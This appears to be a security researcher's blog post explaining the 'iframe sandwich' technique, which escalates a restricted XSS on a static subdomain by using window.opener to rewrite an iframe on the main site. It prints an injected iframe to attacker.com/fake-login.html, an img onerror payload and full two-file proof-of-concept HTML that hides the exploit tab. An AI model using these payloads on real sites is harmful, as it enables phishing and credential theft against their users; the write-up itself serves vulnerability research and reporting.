← Back to Research
research Web XSS

The Sandwich Attack

It took me a while to understand the few information available for this attack, there are two main research/writeups:

Cooper Young – Exacerbating Cross-Site Scripting: The iframe Sandwich

Critical Thinking Podcast – Abusing iframes from a Client-Side Hacker

But both seem to talk about slightly different techniques, so I'm here to try to clarify things.


The Basic Scenario

We'll start with the most basic scenario, where we have an XSS in example.com but it's heavily restricted, maybe we can only trigger an alert, inject some HTML and that's it. In this case, if you report this vuln you are going to hit low severity. Maybe you can't inject a proper fake login page due to CSP or character restrictions.

In this scenario, instead of trying to fully build the phishing page inside the XSS context, we can simply inject an iframe pointing to our own domain, attacker.com, which hosts the fake login page:

document.body.innerHTML ='<iframe src="https://attacker.com/fake-login.html">'

For now the structure of the attack looks like this:

example.com
└── iframe → attacker.com/fake-login

The research from Critical Thinking uses a slightly different structure:

attacker.com
└── iframe → example.com └── iframe → attacker.com

This first attacker.com layer does not magically bypass SOP, but in some scenarios it allows a bit more control and coordination between contexts, especially when dealing with multiple frames. You can use it to coordinate messaging between frames via postMessage, and in some cases also play with window.opener / navigation chains.

Moving to the next writeup from Cooper Young, this one is the most interesting in my opinion. In this attack we have an XSS on a static subdomain like static.example.com, which alone would often be low severity or even out of scope.

BUT there's another subdomain, www.example.com, that has an iframe pointing towards static.example.com.

The key idea of this attack is that we are NOT escaping SOP (same-origin policy). Instead, we are abusing the fact that the same origin (static.example.com) exists in two different browsing contexts at the same time, with this, we can target and modify the DOM of the iframe inside www.example.com even though our XSS is technically not running there, let me explain it.

The Exploit Chain

From attacker.com, we have a /step1.html file with this script:

window.open('step2.html', '_blank'); window.location.href = 'https://www.example.com/';

This will open a new tab (TAB2) with step2.html and redirect the current tab (TAB1) to www.example.com.

Then inside TAB2 we load an iframe pointing to the XSS in static.example.com:

<iframe style="display:none;"src="https://static.example.com/?url=XSS_PAYLOAD"></iframe>

At this point the structure of the exploit looks like this:

TAB 1
www.example.com
└── iframe: static.example.com TAB 2
attacker.com/step2.html
└── iframe: static.example.com <-- XSS running here

Now the question is: how could we access the iframe inside www.example.com?

Because we opened TAB2 from TAB1 using window.open, we get a valid window.opener reference chain. Even though TAB1 was redirected to www.example.com, the opener reference still points to that same tab.

So from TAB2, window.opener refers to TAB1 (now www.example.com), where the target iframe lives.

With this information, from the XSS in TAB2 we can execute this payload:

<img src=xonerror="parent.opener.frames[0].document.body.innerHTML='<h1>Hacked by k1di3</h1>'">

Breaking down the payload:

  1. parent — refers to the iframe context where the XSS is running
  2. parent.opener — refers to TAB1 (www.example.com)
  3. frames[0] — selects the iframe inside TAB1 (the embedded static.example.com)
  4. document.body.innerHTML — modifies the DOM of that iframe

With this, we are able to modify the iframe inside www.example.com. This turns a seemingly low-impact XSS in a static subdomain into something that can affect the main application context.

One final note: to improve the phishing attack, I used a window.close() call with a setTimeout in /step2.html. This way, once the iframe is loaded and the XSS payload is injected into www.example.com, the exploit tab closes automatically,leaving the victim seeing only www.example.com.

<script>
setTimeout(() => {
  window.close();
}, 700);
</script>

From here, if the XSS is very restricted, we can even use it as a staging point to load another iframe pointing to our attacker-controlled page where a fake login is hosted, as discussed in the basic scenario above.

Demo

Full PoC Code

/step1.html

<h1>Exploit Step 1</h1>

<button id="exploitButton" onclick="exploit()">Click me to exploit!</button>

<script>
function exploit() {
  window.open('step2.html', '_blank');
  window.location.href = 'http://www.example.com:5000/';
}
</script>

/step2.html

<h1>Exploit Step 2</h1>

<iframe
  src="http://static.example.com:5000/?xss=%3Cimg%20src%3Dx%20onerror%3D%22parent.opener.frames%5B0%5D.document.body.innerHTML%3D%27%3Ch1%3EHacked%20by%20k1di3%3C%2Fh1%3E%27%22%3E"
  width="600" height="400"></iframe>

<script>
setTimeout(() => {
  window.close();
}, 700);
</script>

I hope you understood it, if not feel free to contact me through linkedin.